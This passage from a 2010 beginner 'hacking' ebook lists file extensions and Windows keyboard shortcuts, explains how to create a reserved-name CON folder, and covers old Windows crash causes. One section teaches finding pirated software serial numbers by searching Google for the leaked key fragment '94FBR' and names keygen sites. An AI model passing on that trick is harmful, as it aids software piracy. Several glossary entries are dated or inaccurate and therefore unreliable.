.IPF Installer Script File / OS/2 online documentation for Microsoft source files.
```

```
.ISO Compressed file used for an exact duplicate of a CD. .ISO files can be extracted or opened such programs as Win
Image that can be found on our shareware download section.
.IWA IBM Writing Assistant Text file.
J
.JAS Graphic
.JPG Graphic commonly used on the Internet and capable of being opened by most modern image editors.
.JS JavaScript file.
.JSB Henter-Joyce Jaws script binary file
.JSD eFAX jet suite document
.JSE JScript encoded script file
.JSH Henter-Joyce Jaws script header file
.JSL PaintShop pro file
.JSM Henter-Joyce Jaws script message file
.JSP Java server page
.JSS Henter-Joyce Jaws script source file
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 171
.JT JT fax file
.JTF JPEG tagged Interchange format file
.JTK Sun Java toolkit file
.JTP JetForm file
.JW Justwrite text file
.JWL Justwrite text file library
.JZZ Jazz spreadsheet
K
.KAR Karaoke File used with some audio players.
L
```

.LGC Program Use Log File (for Windows Program Use Optimization).
.LGO Contains the code for displaying the screen logo.
.LOG Contains the process of certain steps, such as when running scandisk it will usually keep a scandisk.log of what occurred.
.LNK HTML link file used with Microsoft Internet Explorer.
.LWP Lotus Wordpro 96/97 file.
M
.MAC Macintosh macpaint files.
.MBX Microsoft Outlook Express mailbox file.
.MD Compressed Archive file
.MDA Microsoft Access Add-in / Microsoft Access 2 Workgroup.
.MDB Microsoft Access Database / Microsoft Access Application.
.MDE Microsoft Access Database File
.MDF Menu definition file
.MDL Digitrakker Music Module / Rational Rose / Quake model file
.MDM Telix Modem Definition
.MDN Microsoft Access Blank Database Template

.MDP Microsoft Developer Studio Project
.MDT Microsoft Access Add-in Data
.MDW Microsoft Access Workgroup Information
.MDX dBase IV Multiple Index
.MDZ Microsoft Access Wizard Template
.MEB WordPerfect Macro Editor bottom overflow file
.MED WordPerfect Macro Editor delete save / OctaMed tracker module
.MEM WordPerfect Macro Editor macro / Memory File of variables

.MID Midi orchestra files that are used to play with midi sounds built within the sound card.
.MIX Power C object file / Multiplayer Picture file (Microsoft Photodraw 2000 & Microsoft Picture It!) / Command & Conquer Movie/Sound file
.MOD Winoldap files that support (with grabbers) data exchange between DOS apps and Windows apps.
.MOV File used with Quick Time to display a move.
.MP1 MPEG audio stream, layer I
.MP2 MPEG audio stream, layer II
.MP3 MPEG audio stream, layer III; High compressed audio files generally used to record audio tracks and store them in a decent sized file available for playback. See our MP3 page for additional information.
.MPG MPEG movie file.
.MSN Microsoft Network document / Decent mission file
.MTF Windows metafile.
.MTH Derive Math file
.MTM Sound file / MultiTracker music module
.MTV Picture file
.MTW Minitab data file
.MU Quattro menu
.MUL Ultima Online game
.MUP Music publisher file
.MUS Audio file
.MVB Database file / Microsoft multimedia viewer file

.MVE Interplay video file
.MVF Movie stop frame file
.MWP Lotus Wordpro 97 smartmaster file
.MXD ArcInfo map file

```
.MXT Microsoft C Datafile
.MYD Make your point presentation file.
N
.N64 Nintendo 64 Emulator ROM image.
.NA2 Netscape Communicator address book.
.NAB Novell Groupwise address book
.NAP Napster Music security definition file.
.NDF NeoPlanet Browser file
.NDX Indexed file for most databases.
.NES Nintendo Entertainment system ROM image.
.NIL Norton guide online documentation
.NGF Enterasys Networks NetSight file.
.NHF Nero HFS-CD compilation or a general Nero file
.NIL Norton icon lybrary file.
.NLB Oracle 7 data file
.NLD ATI Radeon video driver file,
.NMI SwordSearcher file.
.NON LucasArts Star Wars - Tie fighter mouse options file.
.NOW Extension commonly used for readme text files.
.NRA Nero Audio CD file.
.NRB Nero CD-ROM boot file.
.NS2 Lotus Notes 2 database,
.NS5 Lotus Notes Domino file,
.NSO NetStudio easy web graphics file.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 174
.NT Windows NT startup file.
```

.NUM File used with some Software Manufactures to store technical support numbers or other phone numbers, should be readable from DOS and or Windows.

O

.OCA Control Typelib Cache.

.OCX Object Linking and Embedding (OLE) control extension.

.OLB Object library

.OLD Used for backups of important files incase they are improperly updated or deleted.

.OLE Object Linking and Embedding object file

.OLI Olivetti text file

.ORI Original file.

P

.PAB Personal Address Book, file used with Microsoft Outlook.

.PB WinFax Pro phone book file

.PBD PowerBuilder dynamic library / Faxit phone book file

.PBF Turtle Beach Pinnacle bank file

.PBK Microsoft phonebook file

.PBL PowerBuilder library file

.PBM UNIX portable bitmap fuke

.PBR PowerBuilder resource

.PBI Profiler binary input file

.PBM PBM portable bit map graphic

.PBO Profiler binary output

.PBT Profiler binary table

.PCX Microsoft Paint & PC Paintbrush Windows/DOS.

.PDA Bitmap graphic file

.PDB TACT data file

.PDD Adobe PhotoDeluxe Image.

w w w . h a c k i n g t e c h . c o . t v
Page 175
.PDF Adobe Acrobat Reader file which can only be read by Adobe Acrobat (to get file downloaded Adobe Acrobat from our Download Page.
.PDL Borland C++ project description language file.
.PDS Graphic file / Pldasm source code file.
.PDV Paintbrush printer driver.
.PDW Professional Draw document.
.PIC Picture / Viewer Frame Class.
.PIF Program Information File that configures a DOS app to run efficiently in windows.
.PJF Paintjet soft font file.
.PL Harvard palette file / PERL program file
.PL3 Harvard chart palette
.PLB Foxpro library / LogoShow Screensaver file
.PLC Lotus Add-in
.PLD PLD2 source file
.PLG REND386 / AVRIL file
.PLI Oracle 7 data description
.PLL Prelinked library
.PLM DisorderTracker2 module
.PLN WordPerfect spreadsheet file
.PLR Descent Pilot file
.PLS WinAmp MPEG playlist file / DisorderTracker 2 Sample file / Shoutcast file / MYOB data file
.PLT AutoCAD HPGL vector graphic plotter file / Gerber sign-making software file / Betley's CAD Microstation driver configuration for plotting
.PLY Autodesk polygon
.PP Compressed archive file.
.PP4 Picture Publisher.

.PP5 Picture Publisher.
.PPA Power Point Add-in.
.PPB WordPerfect Print preview button bar.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 176
.PPD PostScript Printer description.
.PPF Turtle Beach Pinnacle program file.
.PPI Microsoft PowerPoint graphic file.
.PPL Harvard (now Serif) Polaroid Palette Plus ColorKey Driver.
.PPM PBM Portable Pixelmap Graphic.
.PPO Clipper Preprocessor Output.
.PPP Serif PagePlus Publication.
.PPS Microsoft PowerPoint Slideshow.
.PPT Microsoft PowerPoint presentation.
.PPX Serif PagePlus publication.
.PPZ Microsoft PowerPoint Packaged Presentation.
.PS2 File to support the Micro Channel Architecture in 386 Enhanced mode.
.PSD Adobe Photoshop image file.
.PST Post Office Box file used with Microsoft Outlook usually mailbox.pst unless named otherwise.
.PWA Password agent file.
.PWD Password file.
.PWF ProCite Workforms
.PWL Password file used in Windows 95 and Windows 98 is stored in the Windows directory.
.PWP Photoworks image file
.PWZ PowerPoint wizard
Q
.QIC Windows backup file

.QT Quick Time Movie File
.QXD Quark Express file
.QXL Quark Xpress element library
.QXT Quark Xpress template file
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 177
R
.RA Real Audio file.
.RAM Real Audio file.
.RAR Compressed file similar to .ZIP uses different compression program to extract. See our recommended download page for a program that can be used to extract .RAR files.
.RAS File extension used for raster graphic files.
.RD1 Descent registered level file
.RD3 Ray Dream designer graphics file / CorelDraw 3D file
.RD4 Ray Dream designer graphics file
.RD5 Ray Dream designer graphics file
.RDB TrueVector rules database
.RDF Resource description framework file / Chromeleon report definition
.RDL Descent registered level file / RadioDestiny radio stream
.RDX Reflex data file
.REC Sound file used with Windows Sound Recorder.
.RLE Microsoft Windows Run Length Encoded (Run Length Encoded (bitmap format) file that contains the actual screen logo).
.RMI Microsoft RMID sound file.
.RPB Automotive diagnostic file.
.RPD Rapidfile database
.RPM Red Hat Package Manager / RealMedia Player file.

```
.RPT Various Report file
.RTF Rich Text Format file
.RWZ Microsoft Outlook rules wizard file
S
.SAV File that usually contains saved information such as a saved game.
.SC2 Maps used in Sim City 2000.
.SCP Dialup Networking script file.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 178
.SCR Source files for the .INI files, or sometimes may be used as screen savers.
.SD Sound Designer I audio file
.SD2 Sound Designer II flattened file / Sound Designer II data fork file / SAS database file
.SDA StarOffice drawing file / SoftCuisine data archive
.SDC StarOffice spreadsheet
.SDD StarOffice presentation
.SDF Standard data format file / Schedule data file / System file format / Autodesk mapguide spatial data file
.SDK Roland S-series floppy disk image
.SDL SmartDraw library
.SDN Small archive
.SDR SmartDraw drawing
.SDS StarOffice chart file / Raw MIDI sample dump standard file
.SDT SmartDraw template
.SDV Semicolon divided value file
.SDW Sun Microsystems StarOffice file document file similar to the Microsoft Office .DOC file.
.SDX MIDI sample dump standard files compacted by SDX
.SEA Short for Self Extracting Archive. Compressed file used with the Macintosh.
.SH Archive file
```

.SH3 Harvard (now Serif) presentation file
.SHB Corel Background file
.SHG Hotspot Editor Hypergraphic
.SHK Macintosh Compressed Archive file
.SHM WordPerfect Shell Macro
.SHP 3D Studio Shapes File / other 3D related file
.SHR Archive file
.SHS Shell scrap object file
.SHW Corel presentation / WordPerfect Slide Show / Show File
.SLK Multiplan file.

.SND Sound Clip file / Raw unsigned PCM data / AKAI MPC-series sample / NeXT sound / Macintosh sound resource file
.SNG MIDI song
.SNM Netscape Mail
.SNO SNOBOL program file
.SNP Snapview snapshot file
.SUM Summary file.
.SWF Macromedia Flash file.
.SWP Extension used for the Windows Swap File usually Win386.Swp. This file is required by Windows and generally can grow very large in size sometimes up to several hundred megs. This file is used to swap information between currently running programs and or memory. If this file is deleted from the computer Windows will be unable to load and will need to be reinstalled.
.SYS System and peripheral drivers.
T
.TDF Trace Definition File used with OS/2
.TGA Targa file

.TIF Tag Image Format that includes most 24-bit color.
.TLB Remote automation truelib files / OLE type library / Visual C++ type library
.TLD Tellix file
.TLE NASA two-line element set
.TLP Microsoft project timeline fie
.TLT Trellix web design file
.TLX Trellix data file
.TMP Temporary files.
.TRM Windows Terminal.
.TXT Text file that can be read from windows of from DOS by using the Edit, Type, or Edlin.
U
.UNI MikMod (UniMod) format file / Forcast Pro data file
.UNK Unknown file type, sometimes used when a file is received that cannot be identified
.UNX Text file generally associated with UNIX.

.URL File used with some browsers such as Internet Explorer linking you to different web pages. Internet Shortcut.
V
.VB VBScript file
.VBA vBase file
.VBD ActiveX file
.VBE VBScript encoded script file
.VBG Visual Basic group project file
.VBK VisualCADD backup file
.VBL User license control file
.VBP Visual Basic project file
.VBR Remote automation registration files

```
.VBS Microsoft Visual Basic Script file for quick programs and in some cases can be used as a virus file.
.VBW Visual Basic project workplace
.VBX Visual Basic extension file
.VBZ Wizard launch file
.VC VisiCalc Spreadsheet file.
.VCD VisualCADD Drawing file.
.VCE Natural MicroSystems voice file.
.VCF vCard File / Vevi Configuration file.
.VCS Microsoft Outlook vCalander file.
.VCT FoxPro class library.
.VCW Microsoft Visual C++ workbench information file.
.VCX FoxPro class library.
.VDA Targa bitmap
.VDD Short for Virtual Device Driver. Additional information can be found here.
.VDO VDOScript file
.VDX No such file extension - Likely you meant to .vxd
.VM Virtual Machine / Virtual Memory file.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 181
.VMM Virtual Machine (Memory Manager) file.
.VMF Ventura font characteristics file / FaxWorks audio file
.VMH
.VS2 Roland-Bass transfer file.
.VSD Visio drawing.
.VSL GetRight download list file.
.VSS Visio stencil.
.VST Video Template / Truevision Vista graphic / Targa Bitmap/
```

.VSW Visio workspace file.
.VXD Windows system driver file allowing a driver direct access to the Windows Kernel, allowing for low level access to hardware.
W
.WAB Microsoft Outlook Express personal address book.
.WAD File first found in IdSoftware games such as DOOM, Quake, as well as most new games similar to these.
.WAV Sound files in Windows open and played with sound recorder.
.WB1 Quattro Pro Notebook
.WB2 Quattro Pro Spreadsheet
.WBF Microsoft Windows Batch File
.WBK Wordperfect document / workbook
.WBT Winbatch batch file
.WCD Wordperfect macro token list
.WCM Microsoft Works data transmission file / Wordperfect Macro
.WCP Wordperfect product information description
.WDB Microsoft Works database
.WEB Web source code file
.WFM dBASE Form object
.WFN CorelDRAW font
.WFX Winfax data file

.WG1 Lotus 1-2-3 worksheet
.WG2 Lotus 1-2-3 for OS/2 worksheet
.WID Ventura publisher width table
.WIN Foxpro - dBASE window file
.WIZ Microsoft Publisher page wizard

```
.WK1 Lotus 1-2-3 all versions / LotusWorks spreadsheet.
.WK3 Lotus 1-2-3 for Windows /Lotus 1-2-3 Rel.3.
.WKS Lotus 1-2-3 Rel lA,2.0,2.01, also file used with Microsoft Works.
.WLG Dr. Watson log file.
.WMA Windows Media Audio file.
.WMF Windows Metafile. Also see WMF dictionary definition.
.WMZ Windows Media Player theme package file.
.WPD WordPerfect Windows/DOS.
.WPG WordPerfect Graphical files Windows/DOS.
.WPM WordPerfect Macro file.
.WPS MS Works word processor Windows/DOS.
.WRI Windows Write.
.WRK Lotus 1-2 31.0,1.01,1.1/ Symphony 1,1.01.
.WRI Symphony l.1,1.2,2 / Microsoft Write file.
X
.XIF Wang image file / Xerox image file
.XLB Microsoft Excel File.
.XLS Microsoft Excel File.
.XM Sound file / Fast tracker 2 extended module
.XML Extensible markup language file.
.XNK Exchange shortcut
.XOT Xnetech job output file
.XPM X picsmap graphic
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 183
.XQT SuperCalc macro sheet
.XRF Cross Reference
```

```
.XR1 Epic MegaGames Xargon File
.XSL XML Style sheet
.XSM LEXIS-NEXIS tracker
.XTB LocoScript external translation table
.XWD X Windows dump file
.XWF Yamaha XG Works file
.XXE Xxencoded file
.XY XYWrite text file
.XY3 XYWrite text file
.XY4 XYwrite IV document
.XYP XYwrite III plus document
.XYW XYwrite Windows 4.0 document
Y
.Y Amiga YABBA compressed file archive
.Y01 Paradox index file
.Y02 Paradox index file
.Y03 Paradox index file
.Y04 Paradox index file
.Y05 Paradox index file
.Y06 Paradox index file
.Y07 Paradox index file
.Y08 Paradox index file
.Y09 Paradox index file
.YUV Yuv graphics file
.YZ YAC compressed file archive.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 184
```

Z

.Z Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used. UNIX / Linux users use the compress / uncompress command to extract these files.

.ZIP Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used.

“The List of file extension in the list may differ as the company may have updated the extension so don’t consider this list as final list but this will give you sufficient knowledge”.

32. Nice List of Windows Shortcuts

For Real Windows Newbie's here you go...

CTRL+C (Copy)

CTRL+X (Cut)

CTRL+V (Paste)

CTRL+Z (Undo)

DELETE (Delete)

SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)

CTRL while dragging an item (Copy the selected item)

CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)

F2 key (Rename the selected item)

CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)

CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)

CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)

CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)

CTRL+SHIFT with any of the arrow keys (Highlight a block of text)

SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop or select text in a document)

CTRL+A (Select all)

F3 key (Search for a file or a folder)

ALT+ENTER (View the properties for the selected item)
ALT+F4 (Close the active item, or quit the active program)
ALT+ENTER (Display the properties of the selected object)
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 186
ALT+SPACEBAR (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open Simultaneously)
ALT+TAB (Switch between the open items)
ALT+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
SHIFT+F10 (Display the shortcut menu for the selected item)
ALT+SPACEBAR (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a submenu)
LEFT ARROW (Open the next menu to the left, or close a submenu)
F5 key (Update the active window)
BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box Keyboard Short-cuts
CTRL+TAB (Move forward through the tabs)
CTRL+SHIFT+TAB (Move backward through the tabs)
TAB (Move forward through the options)

SHIFT+TAB (Move backward through the options)
ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
ENTER (Perform the command for the active option or button)
SPACE BAR (Select or clear the check box if the active option is a check box)
Arrow keys (Select a button if the active option is a group of option buttons)
F1 key (Display Help)
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 187
F4 key (Display the items in the active list)
BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft Natural Keyboard Shortcuts
Windows Logo (Display or hide the Start menu)
Windows Logo+BREAK (Display the System Properties dialog box)
Windows Logo+D (Display the desktop)
Windows Logo+M (Minimize all of the windows)
Windows Logo+SHIFT+M (Restore the minimized windows)
Windows Logo+E (Open My Computer)
Windows Logo+F (Search for a file or a folder)
CTRL+Windows Logo+F (Search for computers)
Windows Logo+F1 (Display Windows Help)
Windows Logo+ L (Lock the keyboard)
Windows Logo+R (Open the Run dialog box)
Windows Logo+U (Open Utility Manager)
Accessibility Keyboard Shortcuts
Right SHIFT for eight seconds (Switch FilterKeys either on or off)
Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)

SHIFT five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Windows Logo +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 188
NUM LOCK+Minus sign (-) (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Short-cut Keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the Keyboard shortcuts:
RIGHT ARROW (Move to the right or to the beginning of the next line)
LEFT ARROW (Move to the left or to the end of the previous line)
UP ARROW (Move up one row)
DOWN ARROW (Move down one row)
PAGE UP (Move up one screen at a time)
PAGE DOWN (Move down one screen at a time)
HOME (Move to the beginning of the line)
END (Move to the end of the line)
CTRL+HOME (Move to the first character)
CTRL+END (Move to the last character)
SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
Microsoft Management Console (MMC) Main Window Keyboard Shortcuts

```
CTRL+O (Open a saved console)
CTRL+N (Open a new console)
CTRL+S (Save the open console)
CTRL+M (Add or remove a console item)
CTRL+W (Open a new window)
F5 key (Update the content of all console windows)
ALT+SPACEBAR (Display the MMC window menu)
ALT+F4 (Close the console)
ALT+A (Display the Action menu)
ALT+V (Display the View menu)
ALT+F (Display the File menu)
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 189
ALT+O (Display the Favorites menu)
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
ALT+Minus sign (-) (Display the window menu for the active console window)
SHIFT+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the
console)
Remote Desktop Connection Navigation
```

```
CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
ALT+PAGE UP (Switch between programs from left to right)
ALT+PAGE DOWN (Switch between programs from right to left)
ALT+INSERT (Cycle through the programs in most recently used order)
ALT+HOME (Display the Start menu)
CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
ALT+DELETE (Display the Windows menu)
CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide
the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide
the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
Microsoft Internet Explorer Navigation
CTRL+B (Open the Organize Favorites dialog box)
CTRL+E (Open the Search bar)
CTRL+F (Start the Find utility)
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 190
CTRL+H (Open the History bar)
CTRL+I (Open the Favorites bar)
CTRL+L (Open the Open dialog box)
CTRL+N (Start another instance of the browser with the same Web address)
CTRL+O (Open the Open dialog box, the same as CTRL+L)
CTRL+P (Open the Print dialog box)
CTRL+R (Update the current Web page)
CTRL+W (Close the current window)
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
```

Page 191

33. How to find serial numbers on Google

This is a little trick that I usually use to find CD keys with Google.

HOW DOES THIS WORK?

Quite simple really.94FBRis part of an Office 2000 Pro CD key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and94fbr, you guarantee two things.

1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for.

2) Because94FBRis part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

Step 1:- If you’re looking for a serial number for Nero (for example) go to google.com and type Nero 94FBR and it'll bring it up.

This works great in Google.

“You can also use some serial number providing sites like www.smartserials.com , www.keygenguru.com etc. for searching the serial number on any software”.

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 192

34. How to create a CON folder in Windows

Can you create a folder named "CON” in windows?

The Answer is NO and YES!

Why the answer is NO.

NO because when create a new folder and try to rename it to any one of the above specified names, you know what happens! In Windows XP the folder name automatically changes back to "New Folder” no matter you try any number of times. Where as in Windows Vista/7 when you try to rename the file you get an error message "The specified device name is invalid”.

Why it is not possible to create a folder names CON?

Before we proceed further, let me tell you a small secret you can’t even create a folder named

CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5,

LPT6, LPT7, LPT8, and LPT9.and many others.
YES the reason you can’t create a folder with these names is because these are reserved keywords used by DOS. The below list is taken from Microsoft’s website shows a list of reserved keywords in DOS.
NAME FUNCTION
CON Key board and display.
PRN System list device, usually a parallel port.
AUX Auxiliary Device, usually a serial port.
CLOCK$ System real-time clock.
NUL Bit-bucket device.
A: - Z: Drive letters.
COM1 First serial communication port.
LPT1 First parallel printer port.
LPT2 Second Parallel printer port.
LPT3 Third Parallel printer port.
COM2 Second serial communication port.
COM3 Third serial communication port.
COM4 Fourth serial communication port.

If you try creating a folder with any of these names, the name automatically changes back to the default "New Folder”. And this is what has caused the confusion. Instead of automatically renaming the folder, had an explanatory warning message popped up.
Yes we can create a folder named CON.
There is actually a way to create a folder named CON, or any other name from the above list of reserved keywords. This can be done through command prompt. But it is advisable not to do so, as it might result in your system becoming unstable.
To create a folder named CON, go to command prompt and type "MD \\.\E:\CON” (without quotes). This will create a

folder named CON in E:. See the screen-shot below.
You cannot delete this folder by normal delete. To delete the folder, again go to command prompt and type
"RD \\.\E:\CON” without quotes. See the screen-shot below.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 194
I’ll again recommend you not to try this on your system, as it might become unstable. In case
you can’t stop yourself, don’t do it on a drive on which Windows is installed (generally C:).
So next time if any one tells you that we cannot rename a folder to con the create it and show
them.
Read more:http://www.hackingtech.co.tv/index/how_to_create_a_con_folder_in_windows/0-
80#ixzz14sMiDwmJ
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 195
35. 10 Reasons why PC’s crash you must know
Fatal error: The system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete
to restart your computer. If you do this you will lose any unsaved information in all open applications."
You have just been struck by the Blue Screen of Death. Anyone who uses Microsoft Windows will be familiar with this.
What can you do? More importantly, how can you prevent it happening?
1. Hardware conflict -
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices
through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ
6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number.
When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a
hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored.
The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Microsoft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2. Bad RAM -
RAM-(random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run the entire Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programs.
3. BIOS settings -
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Microsoft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4. Hard disk drives -
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimization.
This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Page 197

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-Scandisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5. Fatal OE exceptions and VXD errors -

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts. If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
6. Viruses -
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

